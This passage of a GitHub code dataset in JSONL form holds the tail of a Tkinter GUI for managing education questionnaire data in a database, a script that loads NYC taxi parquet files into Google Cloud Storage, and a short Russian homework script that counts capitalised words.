self.validate_file).grid(row=0, column=4, sticky='W')\r\n        ttk.Button(self.lf_impOptions, text ='Check only', command =  self.check_file).grid(row=0, column=5, sticky='W')\r\n        ttk.Button(self.lf_impOptions, text ='Insert', command =  self.imp_file).grid(row=1, column=5, sticky='W')\r\n\r\n        ## Import into rep\r\n        self.rep_import = tk.IntVar()\r\n        self.checkbox =   ttk.Checkbutton(self.lf_impOptions, text=\"Import to REP\", variable= self.rep_import)\r\n        self.checkbox.grid(row=1, column = 1, sticky = 'W', columnspan=3)\r\n\r\n        ## Auto open log file\r\n        self.open_log = tk.IntVar()\r\n        self.open_log.set(1)\r\n        self.OpenLogCB =  ttk.Checkbutton(self.lf_impOptions, text=\"Open validation report\", variable= self.open_log)\r\n        self.OpenLogCB.grid(row=1, column = 2, sticky = 'W', columnspan=3)\r\n        ## Auto open data report\r\n        self.open_data_report = tk.IntVar()\r\n        self.open_data_report.set(1)\r\n        self.OpenDRCB =  ttk.Checkbutton(self.lf_impOptions, text=\"Open data report\", variable= self.open_data_report)\r\n        self.OpenDRCB.grid(row=3, column = 3, sticky = 'W', columnspan=3)\r\n\r\n        # ## Force insert\r\n        # self.force_insert =  tk.IntVar()\r\n        # self.ForceCB =  ttk.Checkbutton(self.lf_impOptions, text=\"Force insert\", variable= self.force_insert)\r\n        # self.ForceCB.grid(row=4, column = 3, sticky = 'W', columnspan=3)\r\n             \r\n        ttk.Label(self.lf_impOptions, text='file ').grid(row=0, column=0, sticky='W')\r\n\r\n        # ####### Export frame\r\n        # General Frame\r\n        self.writeframe = ttk.LabelFrame(self.master, text=\"Extracting data to Excel\", padding = (pad, pad, pad, pad))\r\n        self.writeframe.pack(fill=\"x\", side = 'top', padx = 3, pady=3,ipadx=3, ipady=3, anchor = 'nw')\r\n        \r\n        ttk.Label(self.writeframe, text='Country').grid(row=0,column=0, sticky = 'W')\r\n        ttk.Label(self.writeframe, text='Year').grid(row=1,column=0, sticky='W')\r\n        ttk.Label(self.writeframe, text='Series').grid(row=2,column=0, sticky = 'W')\r\n        \r\n\r\n        self.cbox_co = ttk.Combobox(self.writeframe, postcommand=self.updtCountry, width=30)\r\n        self.cbox_co.grid(row=0, column =1, sticky='W')\r\n        self.cbox_year = ttk.Combobox(self.writeframe, postcommand=self.updtYear)\r\n        self.cbox_year.grid(row=1, column=1 ,sticky='W')\r\n        self.cbox_series = ttk.Combobox(self.writeframe)  # Make a postcommad\r\n        self.cbox_series.grid(row=2, column =1, sticky='W')\r\n        self.cbox_series['values']= ['Reported', 'Observed', 'Estimated']\r\n\r\n        ttk.Button(self.writeframe, text ='Delete questionnaire', command=self.del_quest).grid(row=1, column=2, sticky='W')\r\n\r\n        pane = ttk.Panedwindow(self.writeframe, orient='horizontal')\r\n        pane.grid(row=5, columnspan=10,padx=5, pady=5, ipadx=5, ipady=5, sticky='W')\r\n        # Exporting options\r\n        self.lf_exOptions = ttk.LabelFrame(pane , text=\"Extract by:\")\r\n        self.lf_exOptions.grid(row=3, columnspan=3, sticky='W', padx=5, pady=5, ipadx=5, ipady=5)\r\n\r\n        ttk.Label(self.lf_exOptions, text='Sheet ').grid(row=0, column=0, sticky='W')\r\n        ttk.Label(self.lf_exOptions, text='Table ').grid(row=1, column=0, sticky='W')\r\n        ttk.Label(self.lf_exOptions, text='AC ').grid(row=2, column=0, sticky='W')\r\n\r\n        self.cbox_sheet = ttk.Combobox(self.lf_exOptions, postcommand= lambda m='sheet': self.getSheetTableAC(m), width=20)\r\n        self.cbox_sheet.grid(row=0, column=1, sticky='W')\r\n        self.cbox_table = ttk.Combobox(self.lf_exOptions, postcommand=lambda m='table': self.getSheetTableAC(m))\r\n        self.cbox_table.grid(row=1, column=1, sticky='W')\r\n        self.cbox_AC = ttk.Combobox(self.lf_exOptions,postcommand=lambda m='AC': self.getSheetTableAC(m))\r\n        self.cbox_AC.grid(row=2, column=1, sticky='W')\r\n\r\n        ttk.Button(self.lf_exOptions, text ='Extract', command= lambda x='sheet': self.export(x)).grid(row=0, column=3, sticky='W')\r\n        ttk.Button(self.lf_exOptions, text ='Extract', command = lambda x='table': self.export(x)).grid(row=1, column=3, sticky='W')\r\n        ttk.Button(self.lf_exOptions, text ='Extract', command = lambda x='AC': self.export(x)).grid(row=2, column=3, sticky='W')\r\n\r\n        # Migrating options\r\n        self.lf_migrate = ttk.LabelFrame(pane , text=\"Move databases\")\r\n        self.lf_migrate.grid(row=1, columnspan=2, sticky='WE', padx=5, pady=5, ipadx=5, ipady=5)\r\n        ttk.Button(self.lf_migrate, text ='REP to OBS', command= lambda x = 'REP', y = 'OBS': self.migrate_serie(x,y)).grid(row=0, column=0, sticky='W',padx=5,pady=5)\r\n        ttk.Button(self.lf_migrate, text ='OBS to EST', command = lambda x ='OBS', y = 'EST': self.migrate_serie(x,y)).grid(row=1, column=0, sticky='W',padx=5,pady=5)\r\n\r\n       # # Indicators options\r\n        self.lf_IndicOptions = ttk.LabelFrame(pane , text=\"Extract by:\")\r\n        self.lf_IndicOptions.grid(row=3, columnspan = 3, sticky='W', padx=5, pady=5, ipadx=5, ipady=5)\r\n        ttk.Label(self.lf_IndicOptions, text='Indicator ').grid(row=0, column=0, sticky='W')\r\n        \r\n        self.cbox_indic = ttk.Combobox(self.lf_IndicOptions, postcommand= self.getIndic, width=20)\r\n        self.cbox_indic.grid(row=0, column=1, sticky='W')\r\n        ttk.Button(self.lf_IndicOptions, text ='Extract', command = self.export_indic).grid(row=0, column=2, sticky='W',padx=5,pady=5)\r\n        ttk.Button(self.lf_IndicOptions, text ='Calculate', command = self.indic_calc).grid(row=1, column=2, sticky='W', padx=5, pady=5)\r\n        ttk.Label(self.lf_IndicOptions, text=\"Wildcards: _ for a single character,\\n % for zero or more.\").grid(row=1, column=0, sticky='W', columnspan = 2, padx=5,pady=5)\r\n        pane.add(self.lf_exOptions,weight=50)\r\n        pane.add(self.lf_IndicOptions, weight=50)\r\n        pane.add(self.lf_migrate,weight=50)\r\n        # # Indicators options\r\n        # self.lf_IndicOptions = ttk.LabelFrame(self.writeframe , text=\"Extract by:\")\r\n        # self.lf_IndicOptions.grid(row=6, columnspan = 3, sticky='W', padx=5, pady=5, ipadx=5, ipady=5)\r\n        # ttk.Label(self.lf_IndicOptions, text='Indicator ').grid(row=0, column=0, sticky='W')\r\n        \r\n        # self.cbox_indic = ttk.Combobox(self.lf_IndicOptions, postcommand= self.getIndic, width=20)\r\n        # self.cbox_indic.grid(row=0, column=1, sticky='W')\r\n        # ttk.Button(self.lf_IndicOptions, text ='Extract', command = self.export_indic).grid(row=0, column=2, sticky='W',padx=5,pady=5)\r\n        # ttk.Button(self.lf_IndicOptions, text ='Calculate', command = self.indic_calc).grid(row=0, column=3, sticky='W',padx=5,pady=5)\r\n        # ttk.Label(self.lf_IndicOptions, text=\"Wildcards: % sub for zero or more characters, _ for a single character.\").grid(row=1, column=0, sticky='W', columnspan = 5)\r\n\r\n        ## Direct SQL extraction\r\n        self.lf_SQLOptions = ttk.LabelFrame(self.writeframe , text=\"Direct SQL extraction:\")\r\n        self.lf_SQLOptions.grid(row=7,columnspan=6,  sticky='W', padx=5, pady=5, ipadx=5, ipady=5)\r\n        self.entry_SQL = ttk.Entry(self.lf_SQLOptions, width=60)\r\n        self.entry_SQL.grid(row=0, columnspan=3, sticky='W', padx=2, pady=2, ipadx=2, ipady=2)\r\n        ttk.Button(self.lf_SQLOptions, text ='Extract', command = self.getDirectSQL).grid(row=0, column=3, sticky='W',padx=5,pady=5)\r\n        ttk.Label(self.lf_SQLOptions, text=(\"Format:= type-series[co_code1(adm1,adm2,...);co_code2;...;YEAR;AC]\\n\"\r\n                                            \"type:= raw OR indic, series:=rep, obs or est (default), YEAR:= yyyy OR yyyy:yyyy for range.\\n\"\r\n                                            \"for co_code and AC empty implies all, wildcards allowed for AC.\")).grid(row=1, column=0, sticky='W', columnspan = 8)\r\n        \r\n        # # Output folder\r\n        ttk.Label(self.writeframe, text='Select output folder ').grid(row=10, column=0, sticky='W')    \r\n        self.output_folder = ttk.Entry(self.writeframe, textvariable= self.output_folder_var, width=40)\r\n        self.output_folder.grid(row=10, column=1, sticky='W')\r\n        ttk.Button(self.writeframe, text= 'Browse..', command = lambda x='out_folder': self.select_file(x)).grid(row=10, column=2, sticky='W')\r\n\r\n        ### Status frame\r\n        self.StatusLabelFrame = ttk.LabelFrame(self.master, text=\"Status:\")\r\n        self.StatusLabelFrame.pack(fill=\"both\", expand=True,side = 'bottom', padx = 3, pady=3,ipadx=3, ipady=3, anchor = 's')\r\n        self.text_box = tk.scrolledtext.ScrolledText(self.StatusLabelFrame, wrap='word')\r\n        self.text_box.pack(expand=True, fill='both', padx = 3, pady=3,ipadx=3, ipady=3)\r\n        ## Error and information output.\r\n        sys.stdout =  StdoutRedirector(self.text_box)\r\n        sys.stderr = StdoutRedirector(self.text_box)\r\n\r\n\r\n    ### Supporting functions\r\n    def setFormating(self):\r\n        \"\"\" Formats the sizes and padding of different widgets.\"\"\"\r\n        ### Import frame settings\r\n        self.lf_impOptions.columnconfigure(0, pad=3)\r\n        self.lf_impOptions.columnconfigure(1, pad=3)\r\n        # self.lf_impOptions.columnconfigure(2, pad=0)\r\n        # self.lf_impOptions.columnconfigure(3, pad=0)\r\n        self.lf_impOptions.rowconfigure(0, pad=3)\r\n        self.lf_impOptions.rowconfigure(1, pad=3)\r\n\r\n        ### Export frame\r\n        self.writeframe.columnconfigure(0,pad=3)\r\n        self.writeframe.columnconfigure(1,pad=3)\r\n        self.writeframe.columnconfigure(2,pad=3)\r\n        self.writeframe.rowconfigure(0,pad=3)\r\n        self.writeframe.rowconfigure(1,pad=3)\r\n        self.writeframe.rowconfigure(2,pad=3)\r\n        ### Export frame settings\r\n        self.lf_exOptions.columnconfigure(0, pad=3)\r\n        self.lf_exOptions.columnconfigure(1, pad=3)\r\n        self.lf_exOptions.columnconfigure(2, pad=3)\r\n        self.lf_exOptions.rowconfigure(0, pad=3)\r\n        self.lf_exOptions.rowconfigure(1, pad=3)\r\n        self.lf_exOptions.rowconfigure(2, pad=3)\r\n\r\n        self.lf_migrate.columnconfigure(0, pad=3)\r\n        self.lf_migrate.columnconfigure(1, pad=3)\r\n        self.lf_migrate.rowconfigure(0, pad=3)\r\n\r\n    def messages(self):\r\n        \"\"\" Writes initialization massages to Status frame.\"\"\"\r\n        print('Main working directory is {0}.'.format(self.main_dir))\r\n        print('Connection with database at {1} is established for User {0}.'.format(RM.username, self.database))\r\n        print('All work logs by default are save to sub-folder {0}.'.format(self.log_folder))\r\n        print('Import backups are stored in sub-folder {0}, default output sub-folder is {1}.'.format(self.backup_folder, self.output_folder_default))\r\n        print('-----------------------------------')\r\n\r\n    def export_indic(self):\r\n        \"\"\" Exporting an indicator to an excel workbook\"\"\"\r\n        var = str(self.cbox_indic.get())\r\n        if var:\r\n            co_name = str(self.cbox_co.get())\r\n            year = self.cbox_year.get()\r\n            if co_name and year:\r\n                co_code = getCO_CODE(co_name)\r\n                print('Extracting {0} for {1}-{2}....'.format(var,co_name, year))\r\n                filename = \"{0}_{1}_INDIC_{2}.xlsx\".format(co_name, year,var.replace('%','xx'))\r\n                if self.output_folder_var:\r\n                    filename = \"{0}/{1}\".format(self.output_folder_var,filename)\r\n                else:\r\n                    filename = \"{0}/{1}/{2}\".format(self.main_dir, self.output_folder_default,filename)\r\n                wb = xlsxwriter.Workbook(filename)\r\n                print('File {0} is created..'.format(filename))\r\n                export_indc(var, wb, co_code, year)\r\n                wb.close()\r\n                open_file_local(filename)\r\n                print('Done.')\r\n            else:\r\n                print('Error: missing country name, year.')\r\n        else:\r\n            print(\"Error: no indicator is specified\")\r\n        \r\n    def export(self,x):\r\n        \"\"\" Exports a whole questionnaire, sheet or AC to an excel workbook.\"\"\"\r\n        err1 = ''\r\n        if x=='sheet':\r\n            var = str(self.cbox_sheet.get())\r\n            if var not in self.cbox_sheet['values']: err1 = 'Selection should be from the given list.'\r\n        elif x=='table':\r\n            var = str(self.cbox_table.get())\r\n            if var not in self.cbox_table['values']: err1 = 'Selection should be from the given list.' \r\n        elif x=='AC':\r\n            var = str(self.cbox_AC.get())\r\n            if var not in self.cbox_AC['values']: err1 = 'Selection should be from the given list.' \r\n        if err1:\r\n            print(err1)\r\n            return (None)\r\n        if var:\r\n            co_name = str(self.cbox_co.get())\r\n            year = self.cbox_year.get()\r\n            serie = str(self.cbox_series.get())\r\n            if co_name and year and serie:\r\n                co_code = getCO_CODE(co_name)\r\n                serie = RM.series[serie]\r\n                print('Extracting {0} from {1} series for {2}-{3}....'.format(var,serie, co_name, year))\r\n                filename = \"{0}_{1}_{2}_{3}.xlsx\".format(co_name, year,var,serie)\r\n                if self.output_folder_var:\r\n                    filename = \"{0}/{1}\".format(self.output_folder_var,filename)\r\n                else:\r\n                    filename = \"{0}/{1}/{2}\".format(self.main_dir, self.output_folder_default,filename)\r\n                wb = xlsxwriter.Workbook(filename)\r\n                print('File {0} is created..'.format(filename))\r\n                if x=='sheet' and var == 'All':\r\n                    [export_var(i, wb, co_code, int(year), var_type = x ,serie=serie) for i in self.cbox_sheet['values'][1:]]\r\n                else:\r\n                    export_var(var, wb, co_code, int(year), var_type = x,serie=serie)\r\n                wb.close()\r\n                open_file_local(filename)\r\n                print('Done.')\r\n            else:\r\n                print('Error: missing country name, year or series.')\r\n        else:\r\n            print(\"Error: no {0} is specified\".format(x))\r\n\r\n\r\n    def select_file(self,x):\r\n        \"\"\" Requests from the user to select a questionnaires file to import.\"\"\"\r\n        FILEOPENOPTIONS = dict(filetypes=[('Excel sheets','*.xlsx*'),('All files','*.*')])\r\n        if x=='file':\r\n            dirname = tk.filedialog.askopenfilename(title=\"Select files\",**FILEOPENOPTIONS )\r\n            if dirname:\r\n                self.entry_one.delete(0,'end')\r\n                self.entry_one.insert(0, dirname)\r\n        elif x=='folder':\r\n            dirname = tk.filedialog.askdirectory( title=\"Select a folder\")\r\n            if(dirname):\r\n                self.entry_many.delete(0, 'end')\r\n                self.entry_many.insert(0, dirname)\r\n        elif x=='out_folder':\r\n            dirname = tk.filedialog.askdirectory()\r\n            if dirname:\r\n                self.output_folder_var  =dirname\r\n                self.output_folder.delete(0, 'end')\r\n                self.output_folder.insert(0, dirname)\r\n\r\n\r\n    def validate_file(self):\r\n        \"\"\" Validating the file for processing.\"\"\"\r\n        i = self.entry_one.get()\r\n        if not i:\r\n            print('No file is selected.')\r\n            return\r\n        if re.search(\".xlsx\", i):\r\n            x=questionnaire(i,self.database,self.log_folder,RM.username)\r\n            if x.validation():\r\n                self.valid_quest = x\r\n                print('Validation successful, see report in:')\r\n            else:                \r\n                print('Pre-processing validation failed. Some errors exist see log file in:')\r\n                self.valid_quest = ''\r\n            print(x.validation_log_file.name)\r\n            if self.open_log.get():\r\n                open_file_local(self.main_dir + '/' + x.validation_log_file.name)\r\n\r\n\r\n    def check_file(self):\r\n        \"\"\" Creates a data report without validation or inserting to SQL.\"\"\"\r\n        file1 = self.entry_one.get()\r\n        if not file1:\r\n            print('No file is selected.')\r\n            return\r\n        if re.search(\".xlsx\", file1):\r\n            print('Writing data report for \\n {0}'.format(file1))\r\n            x=questionnaire(file1,self.database,self.log_folder,RM.username)\r\n            x.check_region_totals()\r\n            x.check_less()\r\n            x.check_column_sums()\r\n            x.write_data_report()\r\n            print(\"Data report written to: \\n {0}\".format(x.data_report_file))\r\n            if self.open_data_report.get():\r\n                open_file_local(self.main_dir + '/' + x.data_report_file)\r\n\r\n        \r\n    def imp_file(self):\r\n        \"\"\" Inserts an excel questionnaire or sheets to the SQL database.\"\"\"\r\n        if self.valid_quest == '':\r\n            print('Please select a file and validate it.')\r\n            return\r\n        file1  = self.valid_quest.excel_file\r\n        x = self.valid_quest\r\n        msg = \"Are you sure you want to import file: \\n\\n {0} \\n\\n to {1} series ?\".format(file1, x.database_type)\r\n        if not self.MsgBox(\"Import confirmation\" , msg):\r\n            print('You must confirm before proceeding!')\r\n            return\r\n        if re.search(\".xlsx\", file1):\r\n            print(\"----------\"+\"Date: \"+datetime.datetime.now().strftime(\"%B %d, %Y\")+\"----------\\n\")\r\n            print(\"INSERTION STEP\\n\\n\")\r\n            print('Inserting {0}'.format(file1))\r\n            # x=questionnaire(i,self.database,self.log_folder,RM.username)\r\n            if(x.database_type == 'REP' and x.edit_mode):\r\n                if(not  self.rep_import.get()):\r\n                    print(\"You're trying to import the data in REP series. If sure, please tick the checkbox 'Import to REP'! \")\r\n                    return\r\n            x.check_region_totals()\r\n            x.check_less()\r\n            x.check_column_sums()\r\n            x.write_data_report()\r\n            x.extract_data()\r\n            x.extract_comments()\r\n            x.extract_table_comments()\r\n            print(\"\\n----------Questionnaire Insertion finished.----------.\\n\")\r\n            self.valid_quest = ''\r\n            print(\"Data report written to: \\n {0}\".format(x.data_report_file))\r\n            if self.open_data_report.get():\r\n                open_file_local(self.main_dir + '/' + x.data_report_file)\r\n  \r\n    def updtCountry(self):\r\n        \"\"\"Queries the names of countries that submitted an rm questionnaire.\"\"\"\r\n        l = getAvailable_countries()\r\n        if l: \r\n            self.cbox_co['values'] =  list(chain.from_iterable(l))\r\n        else:\r\n            print('No questionnaires exist in the database.')\r\n\r\n    def updtYear(self):\r\n        \"\"\" For a specific selected country, returns the list of available data years.\"\"\"\r\n        l= str(self.cbox_co.get())\r\n        if l:\r\n            l = getAvailable_year(l)\r\n            self.cbox_year['values'] = l\r\n        else:\r\n            print('No country is selected.')\r\n\r\n    def getSheetTableAC(self,m):\r\n        \"\"\"Updates the drop-list of sheet, table and AC from SQL. \"\"\"\r\n        if m =='sheet':\r\n            l = \"SELECT DISTINCT Tab FROM RM_Mapping\"\r\n            self.cbox_sheet['values'] =  ['All'] + list(chain.from_iterable(sql_query(l)))\r\n        elif m =='table':\r\n            l = \"SELECT DISTINCT RM_TABLE FROM RM_Mapping order by RM_TABLE\"\r\n            self.cbox_table['values'] =  list(chain.from_iterable(sql_query(l)))\r\n        elif m=='AC':\r\n            l = \"SELECT DISTINCT AC FROM RM_Mapping order by AC\"\r\n            self.cbox_AC['values'] =  list(chain.from_iterable(sql_query(l)))\r\n\r\n    def del_quest(self):\r\n         co_name = str(self.cbox_co.get())\r\n         year = self.cbox_year.get()\r\n         if co_name and year:\r\n             print(\"Deleting questionnare of {0} for {1}..\".format(co_name,year))\r\n             msg = \"Sure you want to delete questionnaire of: \\n\\n {0} \\n\\n for {1}?\".format(co_name, year)\r\n             if not self.MsgBox(\"Delete confirmation\" , msg):\r\n                 print('You must confirm before proceeding!')\r\n                 return\r\n             co_code = getCO_CODE(co_name)\r\n             delete_questionnaire(co_code, year)\r\n             print('Done.')\r\n         else:\r\n                print('Error: missing country name and year.')\r\n\r\n    def migrate_serie(self, from_serie, to_serie):\r\n        \"\"\" Migrates data between series Reported(REP), Clean(OBS), Estimated(EST).\"\"\"\r\n        co_name = str(self.cbox_co.get())\r\n        year = self.cbox_year.get()\r\n        if co_name and year:\r\n            moveSerie(getCO_CODE(co_name), int(year), from_serie, to_serie)\r\n            print('Done.')\r\n        else:\r\n            print('Error: missing country name or year.')\r\n\r\n    def getIndic(self):\r\n        \"\"\" Returns a list of indicators from EDU_INDICATOR_EST.\"\"\"\r\n        l = \"SELECT DISTINCT IND_ID FROM EDU_INDICATOR_EST\"\r\n        self.cbox_indic['values'] =  ['All'] + list(chain.from_iterable(sql_query(l)))\r\n        \r\n    def MsgBox(self, header = 'Default header' , msg='Generic.'):\r\n        \"\"\" A pop-up message box to confirm an action.\"\"\"\r\n        result = tk.messagebox.askquestion(header, msg, icon='warning')\r\n        if result == 'yes':\r\n            return(True)\r\n        else:\r\n            return (False)\r\n    def indic_calc(self):\r\n        \"\"\" Calculates all indicators in class Indicators.\"\"\"\r\n        co_name = str(self.cbox_co.get())\r\n        year = self.cbox_year.get()\r\n        if co_name and year:\r\n            serie = str(self.cbox_series.get())\r\n            if serie !='Estimated':\r\n                print('Indicators are only calculated for Estimated series!')\r\n                return\r\n            a=indicators(self.database, int(year),co_name, RM.username)\r\n            if a.check_est_values():\r\n                a.compute_all_indicators()\r\n                print('Successful..all indicators are calculated.')\r\n            else:\r\n                print('No data in Estimated series!')\r\n        else:\r\n            print('Error: missing country name, year or series.')\r\n\r\n    def getDirectSQL(self):\r\n        \"\"\"Direct SQL extraction using the format type-series[co_code1(adm1,adm2,...);co_code2;...;YEAR;AC].\"\"\"\r\n        string = self.entry_SQL.get()\r\n        if string:\r\n            if self.output_folder_var:\r\n                loc = self.output_folder_var +'/'\r\n            else:\r\n                loc = self.main_dir + \"/\" + self.output_folder_default + \"/\"\r\n            filename = direct_extraction(string, loc)\r\n            if filename:\r\n                open_file_local(filename)                \r\n        else:\r\n            print('Empty string.')\r\n\r\ndef main():\r\n    \"\"\" Running the GUI from the class RM.\"\"\"\r\n    database=\"Database/Prod.db\"\r\n    set_database_file(database)\r\n    root = tk.Tk()\r\n    app = RM(root, database)\r\n    root.mainloop()\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n\r\n    \r\n","repo_name":"melmasri/RMS","sub_path":"RM_GUI.py","file_name":"RM_GUI.py","file_ext":"py","file_size_in_byte":28236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"1758141778","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom pathlib import Path\nimport argparse\nimport pandas as pd\nimport pyarrow as pa\nimport pyarrow.parquet as pq\nimport requests\nimport logging\nfrom google.cloud import storage\n\nlogger = logging.getLogger(__name__)\nch = logging.StreamHandler()\n\n\ndef retrieve(dataset_url: Path, data_dir: Path, taxi_type: str) -> Path:\n    \"\"\"Download taxi data from web\n\n    requests.get(..., stream=True), and\n    fstream.iter_content(chunk_size=...) streams the download files in chunks\n\n    Returns local storage path\n    \"\"\"\n    raw_path = Path(data_dir) / taxi_type / Path(dataset_url).name\n    logger.info(f\"streaming {dataset_url} to {raw_path}\")\n    if not raw_path.exists():\n        raw_path.parent.mkdir(parents=True, exist_ok=True)\n        # os.system(f\"wget {dataset_url} -O {raw_path}\")\n        with requests.get(dataset_url, stream=True) as fstream:\n            fstream.raise_for_status()  # raises HTTPerror, if it occurs\n            with open(raw_path, \"wb\") as f:\n                for chunk in fstream.iter_content(chunk_size=10 * 1024):\n                    if chunk:\n                        f.write(chunk)\n    else:\n        logger.info(f\"{raw_path} already exists; no download required\")\n    return raw_path\n\n\ndef read_parquet(local_path: str) -> pa.Table:\n    \"\"\"\n    Reads parquet into pyarrow table for transformation\n\n    Originally tried to read as df, but ran into a\n    timestamp out of bounds error\n    \"\"\"\n    tb = pq.read_table(local_path)\n    logger.info(f\"{len(tb)} rows loaded from {local_path}\")\n    return tb\n\n\ndef clean(tb_taxi: pa.Table, taxi_type: str = \"fhv\") -> pd.DataFrame:\n    \"\"\"\n    Fix dtypes, e.g. datetimes, nulls\n\n    Returns\n    --------\n    df_clean: pd.DataFrame\n    \"\"\"\n    datetimes = [col for col in tb_taxi.column_names if \"datetime\" in col]\n    logger.info(f\"table dtypes:\\n{tb_taxi.schema}\")\n\n    df_dts = pd.DataFrame()\n    for col in datetimes:\n        # handles OutOfBounds timestamps\n        df_dts[col] = pd.to_datetime(tb_taxi.column(col), errors=\"coerce\")\n\n    # convert to pandas normally for other cols\n    non_dts = [col for col in tb_taxi.column_names if col not in datetimes]\n    df_taxi = tb_taxi.select(non_dts).to_pandas()\n\n    # combine\n    df_taxi = pd.concat([df_taxi, df_dts], axis=1)\n\n    # cast to appropriate types\n    fee_cols = [col for col in df_taxi.columns if \"fee\" in col.lower()]\n    # Capital \"F\" for nullable float; pandas feature\n    df_taxi[fee_cols] = df_taxi[fee_cols].astype(\"Float64\", errors=\"ignore\")\n\n    if taxi_type != \"fhv\":\n        # float, otherwise, due to nulls present\n        df_taxi[\"passenger_count\"] = df_taxi[\"passenger_count\"].astype(\n            \"Int8\", errors=\"ignore\"\n        )\n    # flags, types and IDs are categorical; cast from numeric to string\n    id_cols = [\n        col\n        for col in df_taxi.columns\n        if \"ID\" in col or \"type\" in col.lower() or \"flag\" in col.lower()\n    ]\n    df_taxi[id_cols] = df_taxi[id_cols].astype(\"string\", errors=\"ignore\")\n    logger.info(f\"df casted to:\\n{df_taxi.dtypes}\")\n    # # remove zero pax rides\n    # df_rm_empty = df_taxi[df_taxi[\"passenger_count\"] > 0]\n    # logger.info(f\"{len(df_taxi) - len(df_rm_empty)} rides with zero pax removed\")\n\n    # # remove zero distance\n    # df_rm_zero = df_rm_empty[df_rm_empty[\"trip_distance\"] > 0]\n    # logger.info(\n    #     f\"{len(df_rm_empty) - len(df_rm_zero)} rides with zero distance removed\"\n    # )\n    # logger.info(f\"{len(df_rm_zero)} rows saved\")\n    return df_taxi\n\n\ndef write_local(df: pd.DataFrame, fpath: Path):\n    \"\"\"Write the retrieved dataframe locally as parquet\"\"\"\n    if not fpath.parent.exists():\n        logger.info(f\"creating data directory {fpath.parent.resolve()} first\")\n        fpath.parent.mkdir(parents=True, exist_ok=True)\n    df.to_parquet(fpath, compression=\"gzip\")\n    logger.info(f\"Wrote recasted dataframe to {fpath}\")\n\n\ndef upload_gcs(bucket_name: str, src_file: Path, dst_file: str, replace: bool = True):\n    \"\"\"\n    Upload the local parquet file to GCS\n    Ref: https://cloud.google.com/storage/docs/uploading-objects#storage-upload-object-python\n\n    Authentication woes:\n    https://cloud.google.com/docs/authentication/client-libraries\n    MUST SET UP APPLICATION DEFAULT CREDENTIALS FOR CLIENT LIBRARIES\n    DOES NOT USE SAME CREDS AS GCLOUD AUTH\n    USE gcloud auth application-default login\n\n    To use service accounts (instead of user accounts),\n    env var GOOGLE_APPLICATION_CREDENTIALS='/path/to/key.json'\n    especially relevant for docker images, if they have fine-grain\n    controlled permissions\n\n    not required if you're on a credentialled GCE\n    \"\"\"\n    logger.info(f\"{bucket_name}: storage bucket\\n{dst_file}: destination file\")\n    gcs_client = storage.Client()\n    bucket = gcs_client.bucket(bucket_name)\n    blob = bucket.blob(dst_file)\n\n    # set to zero to avoid overwrite\n    try:\n        blob.upload_from_filename(\n            src_file,\n            # if_generation_match=int(replace),\n            timeout=90,\n        )\n    except Exception as e:\n        logger.error(f\"Error raised:\\n{e}\")\n    logger.info(f\"{src_file} uploaded to {dst_file}\")\n\n\ndef web_gcs_parq(\n    taxi_type: str,\n    year: int,\n    month: int,\n    bucket_name: str,\n    data_dir: str = \"../data/cache\",\n) -> None:\n    \"\"\"Subflow to retrieve individual dataset parquet\"\"\"\n    dataset_file = f\"{taxi_type}_tripdata_{year}-{month:02}\"\n    dataset_url = (\n        f\"https://d37ci6vzurychx.cloudfront.net/trip-data/{dataset_file}.parquet\"\n    )\n    raw_path = retrieve(dataset_url=dataset_url, data_dir=data_dir, taxi_type=taxi_type)\n    tb = read_parquet(raw_path)\n    df_clean = clean(tb, taxi_type=taxi_type)\n    fpath = Path(f\"{data_dir}/staging/{taxi_type}/{year}-{month:02}.parquet\")\n    write_local(df_clean, fpath)\n    # this is the relative path inside our bucket\n    dst_file = f\"data/{taxi_type}/{fpath.name}\"\n    upload_gcs(bucket_name, fpath, dst_file=dst_file)\n\n\nif __name__ == \"__main__\":\n    # \"parametrization\"\n    parser = argparse.ArgumentParser(description=\"Load NYC taxi parquets to GCS\")\n\n    parser.add_argument(\n        \"--taxi-type\", \"-t\", required=True, type=str, help=\"{'yellow', 'green', 'fhv'}\"\n    )\n    parser.add_argument(\"--year\", \"-y\", required=True, type=int, help=\"yyyy\")\n    parser.add_argument(\n        \"--months\",\n        \"-m\",\n        required=True,\n        type=str,\n        help=\"m_start-m_end, e.g. 1-12, or just 12 for a single month\",\n    )\n    parser.add_argument(\n        \"--data-dir\",\n        \"-d\",\n        default=\"../data/taxi_ingest_data\",\n        type=str,\n        help=\"local path for intermediate storage\",\n    )\n    parser.add_argument(\n        \"--bucket-name\",\n        \"-b\",\n        required=True,\n        type=str,\n        help=\"name of the GCS bucket\",\n    )\n    parser.add_argument(\n        \"--loglevel\",\n        \"-l\",\n        default=\"info\",\n        type=str.upper,\n        help=\"log level: {DEBUG, INFO, WARNING, ERROR, CRITICAL}\",\n    )\n    args = parser.parse_args()\n    taxi_type = args.taxi_type\n    year = args.year\n    months = args.months\n    data_dir = args.data_dir\n    loglevel = args.loglevel\n    if \"-\" in months:\n        mth_start, mth_end = list(map(int, months.split(\"-\")))\n    else:\n        mth_start = mth_end = int(months)\n    months = list(range(mth_start, mth_end + 1))\n    bucket_name = args.bucket_name\n\n    loglevel_num = getattr(logging, loglevel)\n    logger.setLevel(loglevel_num)\n    ch.setLevel(loglevel_num)\n    logger.addHandler(ch)\n\n    for month in months:\n        web_gcs_parq(taxi_type, year, month, bucket_name, data_dir)\n","repo_name":"vykuang/de-zoomcamp","sub_path":"w3-bigquery/web_gcs_parq.py","file_name":"web_gcs_parq.py","file_ext":"py","file_size_in_byte":7574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3658290533","text":"with open(\"text.txt\") as f:\r\n   text = f.read()   \r\n   splited_text = text.split()    \r\nprint (splited_text)\r\n \r\n\r\na=len(splited_text)\r\nprint(\"Количество слов в тексте: \", a)\r\ni=0\r\nfor w in splited_text:\r\n        if w[0].isupper():\r\n            i+=1;\r\n        else: i+=0\r\nprint(\"Количество слов с заглавной буквой в тексте: \",i)\r\npercent=int(i/a*100)\r\nprint(\"Процент слов, начинающихся с заглавной буквы: \",percent, \"%\")\r\n","repo_name":"AlexandraGaskevich/Programming","sub_path":"hw4/hw4var6.py","file_name":"hw4var6.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
